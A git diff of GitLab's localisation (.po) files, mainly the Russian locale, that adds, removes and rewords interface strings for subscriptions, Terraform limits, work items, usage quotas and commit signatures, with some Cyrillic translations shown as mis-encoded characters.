@@ -40406,18 +41070,36 @@ msgstr "ПодÑчет иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÑетÑÑ Ð¾Ð´Ð¸Ð
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr "ДоÑтупно облачное лицензирование. Это более проÑтой ÑпоÑоб активировать ÑкземплÑры и управлÑÑ‚ÑŒ подпиÑками. Подробнее об Ñтом читайте в %{blogPostLinkStart}нашем блоге%{blogPostLinkEnd}. Коды активации доÑтупны на %{portalLinkStart}клиентÑком портале%{portalLinkEnd}."
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr "Терминал"
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr "ТеÑÑ‚Ñ‹"
-
msgid "TestReports|There are no test cases to display."
msgstr "Ðет теÑтовых примеров Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
@@ -41739,6 +42424,9 @@ msgstr[1] "Следующие перÑональные токены доÑтуп
msgstr[2] "Следующие перÑональные токены доÑтупа: %{token_names} аннулированы, поÑкольку была задана Ð½Ð¾Ð²Ð°Ñ Ð¿Ð¾Ð»Ð¸Ñ‚Ð¸ÐºÐ° в отношении Ñрока дейÑÑ‚Ð²Ð¸Ñ Ð¿ÐµÑ€Ñональных токенов доÑтупа."
msgstr[3] "Следующие перÑональные токены доÑтупа: %{token_names} аннулированы, поÑкольку была задана Ð½Ð¾Ð²Ð°Ñ Ð¿Ð¾Ð»Ð¸Ñ‚Ð¸ÐºÐ° в отношении Ñрока дейÑÑ‚Ð²Ð¸Ñ Ð¿ÐµÑ€Ñональных токенов доÑтупа."
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "СвÑзь Ñ Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸ÐµÐ¼ удалена."
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr "Ðет Ñообщений о нарушениÑÑ…!"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr "Ðет архивных требований"
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Данный коммит ÑвлÑетÑÑ Ñ‡Ð°Ñтью запроÑа на ÑлиÑние %{link_to_merge_request}. Комментарии, Ñозданные здеÑÑŒ, будут Ñозданы в контекÑте Ñтого запроÑа."
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr "Этот коммит был подпиÑан верифицированной подпиÑью другого пользователÑ."
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr "Это фоновое задание не Ñодержит траÑÑиÑ
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr "Это фоновое задание отменено"
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr "Это фоновое задание требует ручных дейÑтвий"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -43509,6 +44212,13 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "To keep this project going, create a new issue"
msgstr "Чтобы поддержать проект, Ñоздайте новое обÑуждение"
@@ -43725,7 +44435,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44022,24 +44732,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44146,15 +44844,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44326,6 +45021,9 @@ msgstr "Ðевозможно подключитьÑÑ Ðº ÑкземплÑру Ji
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44368,6 +45066,9 @@ msgstr "Ðе удаетÑÑ Ð·Ð°Ð³Ñ€ÑƒÐ·Ð¸Ñ‚ÑŒ отличиÑ. %{button_try_agai
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44548,6 +45249,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr "Убрать из избранного"
@@ -44587,6 +45291,9 @@ msgstr ""
msgid "Unverified"
msgstr "Ðеподтверждено"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "Ðктуальный"
@@ -44656,6 +45363,9 @@ msgstr "Ðе удаетÑÑ Ð¿ÐµÑ€ÐµÐ¸Ð¼ÐµÐ½Ð¾Ð²Ð°Ñ‚ÑŒ проект, потомÑ
msgid "UpdateProject|Could not set the default branch"
msgstr "Ðе удалоÑÑŒ уÑтановить ветку по умолчанию"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "Ðовый уровень видимоÑти не разрешен!"
@@ -44818,15 +45528,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44857,15 +45561,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr "Сборочные линии"
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44923,24 +45621,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44968,9 +45654,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr "ИÑпользование реÑурÑов в ваших проектах"
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44989,15 +45672,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -45154,6 +45831,9 @@ msgstr "ИÑпользовать шаблон"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -45212,6 +45892,12 @@ msgstr "Пользователь %{current_user_username} начал выдавÐ
msgid "User %{username} was successfully removed."
msgstr "Пользователь %{username} был уÑпешно удален."
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -45386,9 +46072,6 @@ msgstr "(ÐедоÑтупен)"
msgid "UserProfile|Activity"
msgstr "ÐктивноÑÑ‚ÑŒ"
-msgid "UserProfile|Already reported for abuse"
-msgstr "Уже Ñообщили о нарушении"
-
msgid "UserProfile|Blocked user"
msgstr "Заблокированный пользователь"
@@ -45455,12 +46138,12 @@ msgstr "Избранные проекты"
msgid "UserProfile|Subscribe"
msgstr "ПодпиÑатьÑÑ"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr ""
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "У Ñтого Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½ÐµÑ‚ подпиÑчиков."
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "У Ñтого Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð½ÐµÑ‚ личных проектов"
-
msgid "UserProfile|This user has a private profile"
msgstr "У Ñтого Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ñ‹Ð¹ профиль"
@@ -45626,10 +46309,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45821,6 +46501,9 @@ msgstr ""
msgid "Verified"
msgstr "Подтверждена"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "Проверить наÑтройки SAML"
@@ -45833,9 +46516,6 @@ msgstr "Проверить наÑтройки"
msgid "Version"
msgstr "ВерÑиÑ"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45905,6 +46585,9 @@ msgstr ""
msgid "View all projects"
msgstr "ПроÑмотреть вÑе проекты"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -46003,6 +46686,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -46037,6 +46723,9 @@ msgstr[3] ""
msgid "View replaced file @ "
msgstr "ПроÑмотр заменённого файла @ "
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -46049,6 +46738,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr "ПроÑмотр поÑледнего уÑпешного Ñ€Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² Ñто окружение"
@@ -46073,9 +46765,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr "ВидимоÑÑ‚ÑŒ"
-
msgid "Visibility and access controls"
msgstr ""
@@ -46808,10 +47497,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ñборочной линии"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -47263,9 +47952,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -47354,6 +48055,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -47363,7 +48067,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -47396,7 +48100,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -47450,6 +48154,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -47471,6 +48181,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47577,6 +48293,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ передать контроль над вашим аккаунтом группе %{group_name}. Это ÐЕОБРÐТИМО, вы не будете иметь доÑтуп ко вÑем группам и проектам %{group_name}, как только передача будет завершена."
@@ -47709,9 +48428,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Вы также можете проверить ваш %{gitlab_ci_yml} в %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Ð’Ñ‹ также можете загрузить ÑущеÑтвующие файлы Ñ ÐºÐ¾Ð¼Ð¿ÑŒÑŽÑ‚ÐµÑ€Ð°, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ñ€Ð¸Ð²ÐµÐ´Ñ‘Ð½Ð½Ñ‹Ðµ ниже инÑтрукции."
@@ -47802,6 +48518,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Ð’Ñ‹ можете перемещатьÑÑ Ð¿Ð¾ диаграмме Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ клавиш Ñо Ñтрелками."
@@ -47841,9 +48560,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr "Вы можете указать уровень уведомлений в каждой группе или в проекте."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Ð’Ñ‹ можете протеÑтировать Ñвой файл .gitlab-ci.yml Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47859,7 +48575,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47952,7 +48668,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47983,6 +48699,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -48100,6 +48819,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr "Ð’Ñ‹ должны ввеÑти правильный текущий пароль"
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr "Ð”Ð»Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ ввеÑти текущий пароль."
@@ -48253,8 +48975,12 @@ msgstr "Вы уже включили двухфакторную аутентиф
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "YouTube"
msgstr "YouTube"
@@ -48494,6 +49220,9 @@ msgstr "Ваше Ñообщение здеÑÑŒ"
msgid "Your name"
msgstr "Ваше имÑ"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -48521,7 +49250,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr "Ваш токен ÑброÑа Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð¸Ñтек."
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48600,6 +49329,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48807,6 +49539,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -49051,10 +49786,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -49213,9 +49951,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49716,9 +50451,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -50243,6 +50975,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -50330,12 +51065,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, и %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50764,6 +51493,9 @@ msgstr "значение Ð´Ð»Ñ \"%{storage}\" должно быть от 0 до
msgid "verify ownership"
msgstr "подтвердить право ÑобÑтвенноÑти"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "верÑÐ¸Ñ %{versionIndex}"
diff --git a/locale/si_LK/gitlab.po b/locale/si_LK/gitlab.po
index 8dc29214e35..17d58950661 100644
--- a/locale/si_LK/gitlab.po
+++ b/locale/si_LK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: si-LK\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-11 07:27\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr " %{start} සිට %{end}"
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} එකතු කළ නොහà·à¶šà·’ියි: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "නිකුතු %{releases}"
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
